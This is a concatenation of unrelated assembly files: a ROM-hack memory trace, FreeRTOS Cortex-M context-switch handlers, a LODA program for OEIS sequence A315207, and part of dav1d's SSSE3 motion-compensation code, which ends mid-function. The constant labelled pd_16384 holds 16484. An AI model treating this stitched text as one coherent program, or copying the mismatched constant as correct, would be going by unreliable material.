0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
|
;/*
; * FreeRTOS Kernel V10.3.1
; * Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
; *
; * Permission is hereby granted, free of charge, to any person obtaining a copy of
; * this software and associated documentation files (the "Software"), to deal in
; * the Software without restriction, including without limitation the rights to
; * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
; * the Software, and to permit persons to whom the Software is furnished to do so,
; * subject to the following conditions:
; *
; * The above copyright notice and this permission notice shall be included in all
; * copies or substantial portions of the Software.
; *
; * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
; * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
; * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
; * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
; * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
; *
; * https://www.FreeRTOS.org
; * https://github.com/FreeRTOS
; *
; * 1 tab == 4 spaces!
; */
.thumb
.ref pxCurrentTCB
.ref vTaskSwitchContext
.ref ulMaxSyscallInterruptPriority
.def xPortPendSVHandler
.def ulPortGetIPSR
.def vPortSVCHandler
.def vPortStartFirstTask
NVICOffsetConst: .word 0xE000ED08
CPACRConst: .word 0xE000ED88
pxCurrentTCBConst: .word pxCurrentTCB
ulMaxSyscallInterruptPriorityConst: .word ulMaxSyscallInterruptPriority
; -----------------------------------------------------------
.align 4
ulPortGetIPSR: .asmfunc
mrs r0, ipsr
bx r14
.endasmfunc
; -----------------------------------------------------------
.align 4
vPortSetInterruptMask: .asmfunc
push {r0}
ldr r0, ulMaxSyscallInterruptPriorityConst
msr basepri, r0
pop {r0}
bx r14
.endasmfunc
; -----------------------------------------------------------
.align 4
xPortPendSVHandler: .asmfunc
mrs r0, psp
isb
;/* Get the location of the current TCB. */
ldr r3, pxCurrentTCBConst
ldr r2, [r3]
;/* Save the core registers. */
stmdb r0!, {r4-r11}
;/* Save the new top of stack into the first member of the TCB. */
str r0, [r2]
stmdb sp!, {r3, r14}
ldr r0, ulMaxSyscallInterruptPriorityConst
ldr r1, [r0]
msr basepri, r1
dsb
isb
bl vTaskSwitchContext
mov r0, #0
msr basepri, r0
ldmia sp!, {r3, r14}
;/* The first item in pxCurrentTCB is the task top of stack. */
ldr r1, [r3]
ldr r0, [r1]
;/* Pop the core registers. */
ldmia r0!, {r4-r11}
msr psp, r0
isb
bx r14
.endasmfunc
; -----------------------------------------------------------
.align 4
vPortSVCHandler: .asmfunc
;/* Get the location of the current TCB. */
ldr r3, pxCurrentTCBConst
ldr r1, [r3]
ldr r0, [r1]
;/* Pop the core registers. */
ldmia r0!, {r4-r11}
msr psp, r0
isb
mov r0, #0
msr basepri, r0
orr r14, #0xd
bx r14
.endasmfunc
; -----------------------------------------------------------
.align 4
vPortStartFirstTask: .asmfunc
;/* Use the NVIC offset register to locate the stack. */
ldr r0, NVICOffsetConst
ldr r0, [r0]
ldr r0, [r0]
;/* Set the msp back to the start of the stack. */
msr msp, r0
;/* Clear the bit that indicates the FPU is in use in case the FPU was used
;before the scheduler was started - which would otherwise result in the
;unnecessary leaving of space in the SVC stack for lazy saving of FPU
;registers. */
mov r0, #0
msr control, r0
;/* Call SVC to start the first task. */
cpsie i
cpsie f
dsb
isb
svc #0
.endasmfunc
; -----------------------------------------------------------
|
; A315207: Coordination sequence Gal.5.140.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,6,10,14,20,24,30,34,38,44,50,54,58,64,68,74,78,82,88,94,98,102,108,112,118,122,126,132,138,142,146,152,156,162,166,170,176,182,186,190,196,200,206,210,214,220,226,230,234,240
mov $1,1
mov $2,$0
mul $2,2
mov $5,$0
lpb $0
mov $0,1
mov $6,4
bin $6,$2
add $2,1
div $2,3
mul $2,2
add $6,$4
trn $0,$6
mov $1,$2
add $4,1
lpe
mov $3,$5
mul $3,4
add $1,$3
|
; Copyright © 2018, VideoLAN and dav1d authors
; Copyright © 2018, Two Orioles, LLC
; Copyright © 2018, VideoLabs
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; 1. Redistributions of source code must retain the above copyright notice, this
; list of conditions and the following disclaimer.
;
; 2. Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
; ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
; ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
%include "config.asm"
%include "ext/x86/x86inc.asm"
SECTION_RODATA 16
; dav1d_obmc_masks[] with 64-x interleaved
obmc_masks: db 0, 0, 0, 0
; 2 @4
db 45, 19, 64, 0
; 4 @8
db 39, 25, 50, 14, 59, 5, 64, 0
; 8 @16
db 36, 28, 42, 22, 48, 16, 53, 11, 57, 7, 61, 3, 64, 0, 64, 0
; 16 @32
db 34, 30, 37, 27, 40, 24, 43, 21, 46, 18, 49, 15, 52, 12, 54, 10
db 56, 8, 58, 6, 60, 4, 61, 3, 64, 0, 64, 0, 64, 0, 64, 0
; 32 @64
db 33, 31, 35, 29, 36, 28, 38, 26, 40, 24, 41, 23, 43, 21, 44, 20
db 45, 19, 47, 17, 48, 16, 50, 14, 51, 13, 52, 12, 53, 11, 55, 9
db 56, 8, 57, 7, 58, 6, 59, 5, 60, 4, 60, 4, 61, 3, 62, 2
warp_8x8_shufA: db 0, 2, 4, 6, 1, 3, 5, 7, 1, 3, 5, 7, 2, 4, 6, 8
warp_8x8_shufB: db 4, 6, 8, 10, 5, 7, 9, 11, 5, 7, 9, 11, 6, 8, 10, 12
warp_8x8_shufC: db 2, 4, 6, 8, 3, 5, 7, 9, 3, 5, 7, 9, 4, 6, 8, 10
warp_8x8_shufD: db 6, 8, 10, 12, 7, 9, 11, 13, 7, 9, 11, 13, 8, 10, 12, 14
blend_shuf: db 0, 1, 0, 1, 0, 1, 0, 1, 2, 3, 2, 3, 2, 3, 2, 3
subpel_h_shuf4: db 0, 1, 2, 3, 1, 2, 3, 4, 8, 9, 10, 11, 9, 10, 11, 12
db 2, 3, 4, 5, 3, 4, 5, 6, 10, 11, 12, 13, 11, 12, 13, 14
subpel_h_shufA: db 0, 1, 2, 3, 1, 2, 3, 4, 2, 3, 4, 5, 3, 4, 5, 6
subpel_h_shufB: db 4, 5, 6, 7, 5, 6, 7, 8, 6, 7, 8, 9, 7, 8, 9, 10
subpel_h_shufC: db 8, 9, 10, 11, 9, 10, 11, 12, 10, 11, 12, 13, 11, 12, 13, 14
subpel_s_shuf2: db 0, 1, 2, 3, 0, 1, 2, 3, 8, 9, 10, 11, 8, 9, 10, 11
subpel_s_shuf8: db 0, 1, 8, 9, 2, 3, 10, 11, 4, 5, 12, 13, 6, 7, 14, 15
bilin_h_shuf4: db 0, 1, 1, 2, 2, 3, 3, 4, 8, 9, 9, 10, 10, 11, 11, 12
bilin_h_shuf8: db 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8
unpckw: db 0, 1, 4, 5, 8, 9, 12, 13, 2, 3, 6, 7, 10, 11, 14, 15
rescale_mul: dd 0, 1, 2, 3
resize_shuf: db 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 7, 7, 7, 7
wm_420_sign: times 4 dw 258
times 4 dw 257
wm_422_sign: times 8 db 128
times 8 db 127
pb_8x0_8x8: times 8 db 0
times 8 db 8
bdct_lb_dw: times 4 db 0
times 4 db 4
times 4 db 8
times 4 db 12
pb_64: times 16 db 64
pw_m256: times 8 dw -256
pw_1: times 8 dw 1
pw_2: times 8 dw 2
pw_8: times 8 dw 8
pw_15: times 8 dw 15
pw_26: times 8 dw 26
pw_34: times 8 dw 34
pw_512: times 8 dw 512
pw_1024: times 8 dw 1024
pw_2048: times 8 dw 2048
pw_6903: times 8 dw 6903
pw_8192: times 8 dw 8192
pd_32: times 4 dd 32
pd_63: times 4 dd 63
pd_512: times 4 dd 512
pd_16384: times 4 dd 16484
pd_32768: times 4 dd 32768
pd_262144:times 4 dd 262144
pd_0x3ff: times 4 dd 0x3ff
pd_0x4000:times 4 dd 0x4000
pq_0x40000000: times 2 dq 0x40000000
const mc_warp_filter2 ; dav1d_mc_warp_filter[] reordered for pmaddubsw usage
; [-1, 0)
db 0, 127, 0, 0, 0, 1, 0, 0, 0, 127, 0, 0, -1, 2, 0, 0
db 1, 127, -1, 0, -3, 4, 0, 0, 1, 126, -2, 0, -4, 6, 1, 0
db 1, 126, -3, 0, -5, 8, 1, 0, 1, 125, -4, 0, -6, 11, 1, 0
db 1, 124, -4, 0, -7, 13, 1, 0, 2, 123, -5, 0, -8, 15, 1, 0
db 2, 122, -6, 0, -9, 18, 1, 0, 2, 121, -6, 0, -10, 20, 1, 0
db 2, 120, -7, 0, -11, 22, 2, 0, 2, 119, -8, 0, -12, 25, 2, 0
db 3, 117, -8, 0, -13, 27, 2, 0, 3, 116, -9, 0, -13, 29, 2, 0
db 3, 114, -10, 0, -14, 32, 3, 0, 3, 113, -10, 0, -15, 35, 2, 0
db 3, 111, -11, 0, -15, 37, 3, 0, 3, 109, -11, 0, -16, 40, 3, 0
db 3, 108, -12, 0, -16, 42, 3, 0, 4, 106, -13, 0, -17, 45, 3, 0
db 4, 104, -13, 0, -17, 47, 3, 0, 4, 102, -14, 0, -17, 50, 3, 0
db 4, 100, -14, 0, -17, 52, 3, 0, 4, 98, -15, 0, -18, 55, 4, 0
db 4, 96, -15, 0, -18, 58, 3, 0, 4, 94, -16, 0, -18, 60, 4, 0
db 4, 91, -16, 0, -18, 63, 4, 0, 4, 89, -16, 0, -18, 65, 4, 0
db 4, 87, -17, 0, -18, 68, 4, 0, 4, 85, -17, 0, -18, 70, 4, 0
db 4, 82, -17, 0, -18, 73, 4, 0, 4, 80, -17, 0, -18, 75, 4, 0
db 4, 78, -18, 0, -18, 78, 4, 0, 4, 75, -18, 0, -17, 80, 4, 0
db 4, 73, -18, 0, -17, 82, 4, 0, 4, 70, -18, 0, -17, 85, 4, 0
db 4, 68, -18, 0, -17, 87, 4, 0, 4, 65, -18, 0, -16, 89, 4, 0
db 4, 63, -18, 0, -16, 91, 4, 0, 4, 60, -18, 0, -16, 94, 4, 0
db 3, 58, -18, 0, -15, 96, 4, 0, 4, 55, -18, 0, -15, 98, 4, 0
db 3, 52, -17, 0, -14, 100, 4, 0, 3, 50, -17, 0, -14, 102, 4, 0
db 3, 47, -17, 0, -13, 104, 4, 0, 3, 45, -17, 0, -13, 106, 4, 0
db 3, 42, -16, 0, -12, 108, 3, 0, 3, 40, -16, 0, -11, 109, 3, 0
db 3, 37, -15, 0, -11, 111, 3, 0, 2, 35, -15, 0, -10, 113, 3, 0
db 3, 32, -14, 0, -10, 114, 3, 0, 2, 29, -13, 0, -9, 116, 3, 0
db 2, 27, -13, 0, -8, 117, 3, 0, 2, 25, -12, 0, -8, 119, 2, 0
db 2, 22, -11, 0, -7, 120, 2, 0, 1, 20, -10, 0, -6, 121, 2, 0
db 1, 18, -9, 0, -6, 122, 2, 0, 1, 15, -8, 0, -5, 123, 2, 0
db 1, 13, -7, 0, -4, 124, 1, 0, 1, 11, -6, 0, -4, 125, 1, 0
db 1, 8, -5, 0, -3, 126, 1, 0, 1, 6, -4, 0, -2, 126, 1, 0
db 0, 4, -3, 0, -1, 127, 1, 0, 0, 2, -1, 0, 0, 127, 0, 0
; [0, 1)
db 0, 0, 1, 0, 0, 127, 0, 0, 0, -1, 2, 0, 0, 127, 0, 0
db 0, -3, 4, 1, 1, 127, -2, 0, 0, -5, 6, 1, 1, 127, -2, 0
db 0, -6, 8, 1, 2, 126, -3, 0, -1, -7, 11, 2, 2, 126, -4, -1
db -1, -8, 13, 2, 3, 125, -5, -1, -1, -10, 16, 3, 3, 124, -6, -1
db -1, -11, 18, 3, 4, 123, -7, -1, -1, -12, 20, 3, 4, 122, -7, -1
db -1, -13, 23, 3, 4, 121, -8, -1, -2, -14, 25, 4, 5, 120, -9, -1
db -1, -15, 27, 4, 5, 119, -10, -1, -1, -16, 30, 4, 5, 118, -11, -1
db -2, -17, 33, 5, 6, 116, -12, -1, -2, -17, 35, 5, 6, 114, -12, -1
db -2, -18, 38, 5, 6, 113, -13, -1, -2, -19, 41, 6, 7, 111, -14, -2
db -2, -19, 43, 6, 7, 110, -15, -2, -2, -20, 46, 6, 7, 108, -15, -2
db -2, -20, 49, 6, 7, 106, -16, -2, -2, -21, 51, 7, 7, 104, -16, -2
db -2, -21, 54, 7, 7, 102, -17, -2, -2, -21, 56, 7, 8, 100, -18, -2
db -2, -22, 59, 7, 8, 98, -18, -2, -2, -22, 62, 7, 8, 96, -19, -2
db -2, -22, 64, 7, 8, 94, -19, -2, -2, -22, 67, 8, 8, 91, -20, -2
db -2, -22, 69, 8, 8, 89, -20, -2, -2, -22, 72, 8, 8, 87, -21, -2
db -2, -21, 74, 8, 8, 84, -21, -2, -2, -22, 77, 8, 8, 82, -21, -2
db -2, -21, 79, 8, 8, 79, -21, -2, -2, -21, 82, 8, 8, 77, -22, -2
db -2, -21, 84, 8, 8, 74, -21, -2, -2, -21, 87, 8, 8, 72, -22, -2
db -2, -20, 89, 8, 8, 69, -22, -2, -2, -20, 91, 8, 8, 67, -22, -2
db -2, -19, 94, 8, 7, 64, -22, -2, -2, -19, 96, 8, 7, 62, -22, -2
db -2, -18, 98, 8, 7, 59, -22, -2, -2, -18, 100, 8, 7, 56, -21, -2
db -2, -17, 102, 7, 7, 54, -21, -2, -2, -16, 104, 7, 7, 51, -21, -2
db -2, -16, 106, 7, 6, 49, -20, -2, -2, -15, 108, 7, 6, 46, -20, -2
db -2, -15, 110, 7, 6, 43, -19, -2, -2, -14, 111, 7, 6, 41, -19, -2
db -1, -13, 113, 6, 5, 38, -18, -2, -1, -12, 114, 6, 5, 35, -17, -2
db -1, -12, 116, 6, 5, 33, -17, -2, -1, -11, 118, 5, 4, 30, -16, -1
db -1, -10, 119, 5, 4, 27, -15, -1, -1, -9, 120, 5, 4, 25, -14, -2
db -1, -8, 121, 4, 3, 23, -13, -1, -1, -7, 122, 4, 3, 20, -12, -1
db -1, -7, 123, 4, 3, 18, -11, -1, -1, -6, 124, 3, 3, 16, -10, -1
db -1, -5, 125, 3, 2, 13, -8, -1, -1, -4, 126, 2, 2, 11, -7, -1
db 0, -3, 126, 2, 1, 8, -6, 0, 0, -2, 127, 1, 1, 6, -5, 0
db 0, -2, 127, 1, 1, 4, -3, 0, 0, 0, 127, 0, 0, 2, -1, 0
; [1, 2)
db 0, 0, 127, 0, 0, 1, 0, 0, 0, 0, 127, 0, 0, -1, 2, 0
db 0, 1, 127, -1, 0, -3, 4, 0, 0, 1, 126, -2, 0, -4, 6, 1
db 0, 1, 126, -3, 0, -5, 8, 1, 0, 1, 125, -4, 0, -6, 11, 1
db 0, 1, 124, -4, 0, -7, 13, 1, 0, 2, 123, -5, 0, -8, 15, 1
db 0, 2, 122, -6, 0, -9, 18, 1, 0, 2, 121, -6, 0, -10, 20, 1
db 0, 2, 120, -7, 0, -11, 22, 2, 0, 2, 119, -8, 0, -12, 25, 2
db 0, 3, 117, -8, 0, -13, 27, 2, 0, 3, 116, -9, 0, -13, 29, 2
db 0, 3, 114, -10, 0, -14, 32, 3, 0, 3, 113, -10, 0, -15, 35, 2
db 0, 3, 111, -11, 0, -15, 37, 3, 0, 3, 109, -11, 0, -16, 40, 3
db 0, 3, 108, -12, 0, -16, 42, 3, 0, 4, 106, -13, 0, -17, 45, 3
db 0, 4, 104, -13, 0, -17, 47, 3, 0, 4, 102, -14, 0, -17, 50, 3
db 0, 4, 100, -14, 0, -17, 52, 3, 0, 4, 98, -15, 0, -18, 55, 4
db 0, 4, 96, -15, 0, -18, 58, 3, 0, 4, 94, -16, 0, -18, 60, 4
db 0, 4, 91, -16, 0, -18, 63, 4, 0, 4, 89, -16, 0, -18, 65, 4
db 0, 4, 87, -17, 0, -18, 68, 4, 0, 4, 85, -17, 0, -18, 70, 4
db 0, 4, 82, -17, 0, -18, 73, 4, 0, 4, 80, -17, 0, -18, 75, 4
db 0, 4, 78, -18, 0, -18, 78, 4, 0, 4, 75, -18, 0, -17, 80, 4
db 0, 4, 73, -18, 0, -17, 82, 4, 0, 4, 70, -18, 0, -17, 85, 4
db 0, 4, 68, -18, 0, -17, 87, 4, 0, 4, 65, -18, 0, -16, 89, 4
db 0, 4, 63, -18, 0, -16, 91, 4, 0, 4, 60, -18, 0, -16, 94, 4
db 0, 3, 58, -18, 0, -15, 96, 4, 0, 4, 55, -18, 0, -15, 98, 4
db 0, 3, 52, -17, 0, -14, 100, 4, 0, 3, 50, -17, 0, -14, 102, 4
db 0, 3, 47, -17, 0, -13, 104, 4, 0, 3, 45, -17, 0, -13, 106, 4
db 0, 3, 42, -16, 0, -12, 108, 3, 0, 3, 40, -16, 0, -11, 109, 3
db 0, 3, 37, -15, 0, -11, 111, 3, 0, 2, 35, -15, 0, -10, 113, 3
db 0, 3, 32, -14, 0, -10, 114, 3, 0, 2, 29, -13, 0, -9, 116, 3
db 0, 2, 27, -13, 0, -8, 117, 3, 0, 2, 25, -12, 0, -8, 119, 2
db 0, 2, 22, -11, 0, -7, 120, 2, 0, 1, 20, -10, 0, -6, 121, 2
db 0, 1, 18, -9, 0, -6, 122, 2, 0, 1, 15, -8, 0, -5, 123, 2
db 0, 1, 13, -7, 0, -4, 124, 1, 0, 1, 11, -6, 0, -4, 125, 1
db 0, 1, 8, -5, 0, -3, 126, 1, 0, 1, 6, -4, 0, -2, 126, 1
db 0, 0, 4, -3, 0, -1, 127, 1, 0, 0, 2, -1, 0, 0, 127, 0
db 0, 0, 2, -1, 0, 0, 127, 0
pw_258: times 2 dw 258
cextern mc_subpel_filters
%define subpel_filters (mangle(private_prefix %+ _mc_subpel_filters)-8)
%macro BIDIR_JMP_TABLE 2-*
;evaluated at definition time (in loop below)
%xdefine %1_%2_table (%%table - 2*%3)
%xdefine %%base %1_%2_table
%xdefine %%prefix mangle(private_prefix %+ _%1_8bpc_%2)
; dynamically generated label
%%table:
%rep %0 - 2 ; repeat for num args
dd %%prefix %+ .w%3 - %%base
%rotate 1
%endrep
%endmacro
BIDIR_JMP_TABLE avg, ssse3, 4, 8, 16, 32, 64, 128
BIDIR_JMP_TABLE w_avg, ssse3, 4, 8, 16, 32, 64, 128
BIDIR_JMP_TABLE mask, ssse3, 4, 8, 16, 32, 64, 128
BIDIR_JMP_TABLE w_mask_420, ssse3, 4, 8, 16, 32, 64, 128
BIDIR_JMP_TABLE w_mask_422, ssse3, 4, 8, 16, 32, 64, 128
BIDIR_JMP_TABLE w_mask_444, ssse3, 4, 8, 16, 32, 64, 128
BIDIR_JMP_TABLE blend, ssse3, 4, 8, 16, 32
BIDIR_JMP_TABLE blend_v, ssse3, 2, 4, 8, 16, 32
BIDIR_JMP_TABLE blend_h, ssse3, 2, 4, 8, 16, 16, 16, 16
%macro BASE_JMP_TABLE 3-*
%xdefine %1_%2_table (%%table - %3)
%xdefine %%base %1_%2
%%table:
%rep %0 - 2
dw %%base %+ _w%3 - %%base
%rotate 1
%endrep
%endmacro
%xdefine prep_sse2 mangle(private_prefix %+ _prep_bilin_8bpc_sse2.prep)
%xdefine put_ssse3 mangle(private_prefix %+ _put_bilin_8bpc_ssse3.put)
%xdefine prep_ssse3 mangle(private_prefix %+ _prep_bilin_8bpc_ssse3.prep)
BASE_JMP_TABLE put, ssse3, 2, 4, 8, 16, 32, 64, 128
BASE_JMP_TABLE prep, ssse3, 4, 8, 16, 32, 64, 128
%macro HV_JMP_TABLE 5-*
%xdefine %%prefix mangle(private_prefix %+ _%1_%2_8bpc_%3)
%xdefine %%base %1_%3
%assign %%types %4
%if %%types & 1
%xdefine %1_%2_h_%3_table (%%h - %5)
%%h:
%rep %0 - 4
dw %%prefix %+ .h_w%5 - %%base
%rotate 1
%endrep
%rotate 4
%endif
%if %%types & 2
%xdefine %1_%2_v_%3_table (%%v - %5)
%%v:
%rep %0 - 4
dw %%prefix %+ .v_w%5 - %%base
%rotate 1
%endrep
%rotate 4
%endif
%if %%types & 4
%xdefine %1_%2_hv_%3_table (%%hv - %5)
%%hv:
%rep %0 - 4
dw %%prefix %+ .hv_w%5 - %%base
%rotate 1
%endrep
%endif
%endmacro
HV_JMP_TABLE prep, 8tap, sse2, 1, 4, 8, 16, 32, 64, 128
HV_JMP_TABLE prep, bilin, sse2, 7, 4, 8, 16, 32, 64, 128
HV_JMP_TABLE put, 8tap, ssse3, 3, 2, 4, 8, 16, 32, 64, 128
HV_JMP_TABLE prep, 8tap, ssse3, 1, 4, 8, 16, 32, 64, 128
HV_JMP_TABLE put, bilin, ssse3, 7, 2, 4, 8, 16, 32, 64, 128
HV_JMP_TABLE prep, bilin, ssse3, 7, 4, 8, 16, 32, 64, 128
%macro SCALED_JMP_TABLE 2-*
%xdefine %1_%2_table (%%table - %3)
%xdefine %%base mangle(private_prefix %+ _%1_8bpc_%2)
%%table:
%rep %0 - 2
dw %%base %+ .w%3 - %%base
%rotate 1
%endrep
%rotate 2
%%dy_1024:
%xdefine %1_%2_dy1_table (%%dy_1024 - %3)
%rep %0 - 2
dw %%base %+ .dy1_w%3 - %%base
%rotate 1
%endrep
%rotate 2
%%dy_2048:
%xdefine %1_%2_dy2_table (%%dy_2048 - %3)
%rep %0 - 2
dw %%base %+ .dy2_w%3 - %%base
%rotate 1
%endrep
%endmacro
SCALED_JMP_TABLE put_8tap_scaled, ssse3, 2, 4, 8, 16, 32, 64, 128
SCALED_JMP_TABLE prep_8tap_scaled, ssse3, 4, 8, 16, 32, 64, 128
%define table_offset(type, fn) type %+ fn %+ SUFFIX %+ _table - type %+ SUFFIX
SECTION .text
INIT_XMM ssse3
%if ARCH_X86_32
DECLARE_REG_TMP 1
%define base t0-put_ssse3
%else
DECLARE_REG_TMP 7
%define base 0
%endif
%macro RESTORE_DSQ_32 1
%if ARCH_X86_32
mov %1, dsm ; restore dsq
%endif
%endmacro
cglobal put_bilin_8bpc, 1, 8, 0, dst, ds, src, ss, w, h, mxy
movifnidn mxyd, r6m ; mx
LEA t0, put_ssse3
movifnidn srcq, srcmp
movifnidn ssq, ssmp
tzcnt wd, wm
mov hd, hm
test mxyd, mxyd
jnz .h
mov mxyd, r7m ; my
test mxyd, mxyd
jnz .v
.put:
movzx wd, word [t0+wq*2+table_offset(put,)]
add wq, t0
RESTORE_DSQ_32 t0
jmp wq
.put_w2:
movzx r4d, word [srcq+ssq*0]
movzx r6d, word [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
mov [dstq+dsq*0], r4w
mov [dstq+dsq*1], r6w
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .put_w2
RET
.put_w4:
mov r4d, [srcq+ssq*0]
mov r6d, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
mov [dstq+dsq*0], r4d
mov [dstq+dsq*1], r6d
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .put_w4
RET
.put_w8:
movq m0, [srcq+ssq*0]
movq m1, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
movq [dstq+dsq*0], m0
movq [dstq+dsq*1], m1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .put_w8
RET
.put_w16:
movu m0, [srcq+ssq*0]
movu m1, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
mova [dstq+dsq*0], m0
mova [dstq+dsq*1], m1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .put_w16
RET
.put_w32:
movu m0, [srcq+ssq*0+16*0]
movu m1, [srcq+ssq*0+16*1]
movu m2, [srcq+ssq*1+16*0]
movu m3, [srcq+ssq*1+16*1]
lea srcq, [srcq+ssq*2]
mova [dstq+dsq*0+16*0], m0
mova [dstq+dsq*0+16*1], m1
mova [dstq+dsq*1+16*0], m2
mova [dstq+dsq*1+16*1], m3
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .put_w32
RET
.put_w64:
movu m0, [srcq+16*0]
movu m1, [srcq+16*1]
movu m2, [srcq+16*2]
movu m3, [srcq+16*3]
add srcq, ssq
mova [dstq+16*0], m0
mova [dstq+16*1], m1
mova [dstq+16*2], m2
mova [dstq+16*3], m3
add dstq, dsq
dec hd
jg .put_w64
RET
.put_w128:
movu m0, [srcq+16*0]
movu m1, [srcq+16*1]
movu m2, [srcq+16*2]
movu m3, [srcq+16*3]
mova [dstq+16*0], m0
mova [dstq+16*1], m1
mova [dstq+16*2], m2
mova [dstq+16*3], m3
movu m0, [srcq+16*4]
movu m1, [srcq+16*5]
movu m2, [srcq+16*6]
movu m3, [srcq+16*7]
mova [dstq+16*4], m0
mova [dstq+16*5], m1
mova [dstq+16*6], m2
mova [dstq+16*7], m3
add srcq, ssq
add dstq, dsq
dec hd
jg .put_w128
RET
.h:
; (16 * src[x] + (mx * (src[x + 1] - src[x])) + 8) >> 4
; = ((16 - mx) * src[x] + mx * src[x + 1] + 8) >> 4
imul mxyd, 0x00ff00ff
mova m4, [base+bilin_h_shuf8]
mova m0, [base+bilin_h_shuf4]
add mxyd, 0x00100010
movd m5, mxyd
mov mxyd, r7m ; my
pshufd m5, m5, q0000
test mxyd, mxyd
jnz .hv
movzx wd, word [t0+wq*2+table_offset(put, _bilin_h)]
mova m3, [base+pw_2048]
add wq, t0
movifnidn dsq, dsmp
jmp wq
.h_w2:
pshufd m4, m4, q3120 ; m4 = {1, 0, 2, 1, 5, 4, 6, 5}
.h_w2_loop:
movd m0, [srcq+ssq*0]
movd m1, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
punpckldq m0, m1
pshufb m0, m4
pmaddubsw m0, m5
pmulhrsw m0, m3
packuswb m0, m0
movd r6d, m0
mov [dstq+dsq*0], r6w
shr r6d, 16
mov [dstq+dsq*1], r6w
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .h_w2_loop
RET
.h_w4:
movq m4, [srcq+ssq*0]
movhps m4, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
pshufb m4, m0
pmaddubsw m4, m5
pmulhrsw m4, m3
packuswb m4, m4
movd [dstq+dsq*0], m4
psrlq m4, 32
movd [dstq+dsq*1], m4
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .h_w4
RET
.h_w8:
movu m0, [srcq+ssq*0]
movu m1, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
pshufb m0, m4
pshufb m1, m4
pmaddubsw m0, m5
pmaddubsw m1, m5
pmulhrsw m0, m3
pmulhrsw m1, m3
packuswb m0, m1
movq [dstq+dsq*0], m0
movhps [dstq+dsq*1], m0
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .h_w8
RET
.h_w16:
movu m0, [srcq+8*0]
movu m1, [srcq+8*1]
add srcq, ssq
pshufb m0, m4
pshufb m1, m4
pmaddubsw m0, m5
pmaddubsw m1, m5
pmulhrsw m0, m3
pmulhrsw m1, m3
packuswb m0, m1
mova [dstq], m0
add dstq, dsq
dec hd
jg .h_w16
RET
.h_w32:
movu m0, [srcq+mmsize*0+8*0]
